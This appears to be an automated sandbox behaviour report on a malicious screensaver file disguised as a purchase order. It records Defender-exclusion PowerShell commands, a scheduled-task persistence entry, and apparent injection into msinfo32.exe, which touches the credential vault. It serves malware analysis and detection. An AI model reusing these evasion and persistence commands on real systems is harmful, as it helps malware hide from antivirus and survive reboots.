Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L.......^D.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L.......pD.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L.......\|D.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~......D.........................s....................$.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........D.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........D.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........D.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........D.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........D.........................s....................l.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........D.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....................L........E.........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................L........E.........................s............................................
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ......................'.........E.R.R.O.R.:. ...L.......X................6........................................".......................'.....
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ......................'.........E.R.R.O.(.P.....L.......X................6..............................................j.................'.....

Source: RFQ_P.O.1212024.scr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: RFQ_P.O.1212024.scr

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: C:\Windows\SysWOW64\msinfo32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: msinfo32.exe, 0000000C.00000002.874626124.0000000061E99000.00000002.00000001.01000000.0000000C.sdmp, sqlite3.dll.12.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: msinfo32.exe, 0000000C.00000002.874626124.0000000061E99000.00000002.00000001.01000000.0000000C.sdmp, sqlite3.dll.12.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: msinfo32.exe, 0000000C.00000002.874626124.0000000061E99000.00000002.00000001.01000000.0000000C.sdmp, sqlite3.dll.12.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: msinfo32.exe, 0000000C.00000002.874626124.0000000061E99000.00000002.00000001.01000000.0000000C.sdmp, sqlite3.dll.12.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: msinfo32.exe, 0000000C.00000002.874626124.0000000061E99000.00000002.00000001.01000000.0000000C.sdmp, sqlite3.dll.12.dr	Binary or memory string: UPDATE %Q.%s SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: msinfo32.exe, 0000000C.00000002.874626124.0000000061E99000.00000002.00000001.01000000.0000000C.sdmp, sqlite3.dll.12.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: msinfo32.exe, 0000000C.00000002.874626124.0000000061E99000.00000002.00000001.01000000.0000000C.sdmp, sqlite3.dll.12.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);

Source: RFQ_P.O.1212024.scr

Virustotal: Detection: 38%

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr

File read: C:\Users\user\Desktop\RFQ_P.O.1212024.scr

Source: unknown	Process created: C:\Users\user\Desktop\RFQ_P.O.1212024.scr "C:\Users\user\Desktop\RFQ_P.O.1212024.scr" /S
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_P.O.1212024.scr"
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PEJmengI" /XML "C:\Users\user\AppData\Local\Temp\tmp61C0.tmp"
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {5B36C18D-91BD-4673-848D-E2536B74881F} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\PEJmengI.exe C:\Users\user\AppData\Roaming\PEJmengI.exe
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Process created: C:\Windows\SysWOW64\msinfo32.exe "C:\Windows\SysWOW64\msinfo32.exe"
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PEJmengI" /XML "C:\Users\user\AppData\Local\Temp\tmp958C.tmp"
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Windows\SysWOW64\msinfo32.exe	Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\RFQ_P.O.1212024.scr"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PEJmengI" /XML "C:\Users\user\AppData\Local\Temp\tmp61C0.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\PEJmengI.exe C:\Users\user\AppData\Roaming\PEJmengI.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\PEJmengI.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\PEJmengI" /XML "C:\Users\user\AppData\Local\Temp\tmp958C.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Process created: C:\Windows\SysWOW64\msinfo32.exe "C:\Windows\SysWOW64\msinfo32.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Process created: C:\Program Files (x86)\Mozilla Firefox\firefox.exe "C:\Program Files (x86)\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_P.O.1212024.scr	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: wevtapi.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\taskeng.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PEJmengI.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: mfc42u.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: odbc32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: wdscore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: cryptui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: riched32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64win.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wow64cpu.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: ktmw32.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\MccdFxiMuIbxHJlDJsGlznbDEMHvijPJQJgMCqspgvs\mrNbohrgjTw.exe	Section loaded: iphlpapi.dll
